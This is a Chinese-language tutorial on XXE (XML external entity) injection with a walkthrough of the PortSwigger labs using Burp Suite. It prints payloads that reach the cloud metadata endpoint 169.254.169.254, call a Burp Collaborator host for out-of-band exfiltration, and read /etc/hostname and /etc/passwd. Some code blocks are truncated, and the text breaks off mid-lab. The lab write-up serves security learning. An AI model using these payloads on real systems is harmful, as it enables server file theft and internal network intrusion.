数码资讯
Burp Suite XXE 漏洞
- 快速了解 XXE
- 什么是 XXE 漏洞
- XXE 漏洞概述
- XML 基础知识
- XXE 漏洞可造成的危害
- XXE 漏洞绕过手段
- XXE 漏洞的防御
- 什么是 XXE 漏洞
- 靶场攻略
- 第一关
- 第二关
- 第三关
- 第四关
快速了解 XXE
什么是 XXE 漏洞
参考文章
XXE 漏洞概述
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击来升级 XXE 攻击以破坏底层服务器或其他后端基础设施
XML 基础知识
要利用 XXE 漏洞首先需要一定的 XML 知识
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD可以被内部声明也可以被外部引用
内部声明:
<!DOCTYPE 根元素 [元素声明]>
带有 DTD 的 XML 文档实例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
外部文档声明:
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> <!--在这里-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 "note.dtd" 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体
实体的概念:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD例子
<!ENTITY abc "nihao">
XML例子
<hello>&abc;</hello>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (?。
一个外部实体声明:
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
XXE 漏洞可造成的危害
任意文件读取
执行系统命令
探测内容端口
攻击内网网站
发起 DOS 攻击
XXE 漏洞绕过手段
协议绕过 data://
协议绕过 php://filter
编码绕过
无回显绕过
XXE 漏洞的防御
禁用外部实体
过滤和验证用户提交的XML数据
靶场攻略
第一关
随便点一个图片,然后划到最下面,点击Check stock
通过 burp 抓 POST 请求包
把 POST 包发送到 Repeater
修改下方的 XML
发送,实验完成
第二关
这一关是 XXE+SSRF
题目要求访问 http://169.254.169.254/ 下的文件
和第一关一样,抓到包后,我们这样构造
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://169.254.169.254/">]>
发送完后我们在响应中得到了 latest 这个词,我们把他放在路径后面
发送请求后,我们又在相应中获得了一个此,以此类推,最终我们获得了这个
第二关结束
第三关
这一关是带外盲注
我们在抓到 POST 包并发送到 Repeater 后
打开 Burp Collaborator Client
点击 Copy to clipboard
我们再回 Repeater 构造:
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">]>
其中,http://后面的是刚刚 Copy to clipboard 再粘贴出来的地址
发送请求包,可以看到 Burp Collaborator Client 多了一些信息,同时题目也完成了!
第四关
这一关也是 XXE 盲注,但是这里限制了常规外部实体的请求
重复前几关的操作在发送 POST 请求到 Repeater 后,如果我们用上一题的构造方式
会发现提示"Entities are not allowed for security reasons"
这里限制了常规外部实体请求,我们使用参数实体请求试试
<!DOCTYPE aaa [<!ENTITY % bbb SYSTEM "http://htt6ovkw3ni7gtb1ibfeeqx08dgf7lx9m.burpcollaborator.net">%bbb;]>
成功收到
## [第五关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)
这一关还是 XXE 盲注,我们需要获取 `/etc/hostname` 中的信息,由于无回显,我们需要将该信息带出到 Burp Collaborator Client
点击页面的 Go to exploit server,提交如下文件
```dtd
">%sss;
```
作用是向 Burp Collaborator Client 发送信息,需要留意一下 `%file`,和下面的是同一个
重复前几关的操作在发送 POST 请求到 Repeater 后,我们这样构造
```dtd
%get;
%send;
]>
```
发送后,我们收到如下信息
点击 HTTP ,在 Request 中找到顶部信息 a= ,后面的 b10ce1cb2eea 就是答案了
## [第六关](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)
这关还是 XXE 盲注,需要通过错误信息查看 `/etc/passwd` 文件
我们先上传一个文件
```
">%p;
```
然后我们再按照前面的方式抓到含有 xml 的 POST 包到 Repeater
构造:
```
%get;
%ppp;
]>
```
提交后就完成了,可以看到 passwd 的信息随着错误回显显示出来了
## [第七关](https://portswigger.net/web-security/xxe/lab-xinclude-attack)
这题获取到 POST 请求后发现只有 productId
我们尝试使用 XInclude 来检索 `/etc/passwd`
```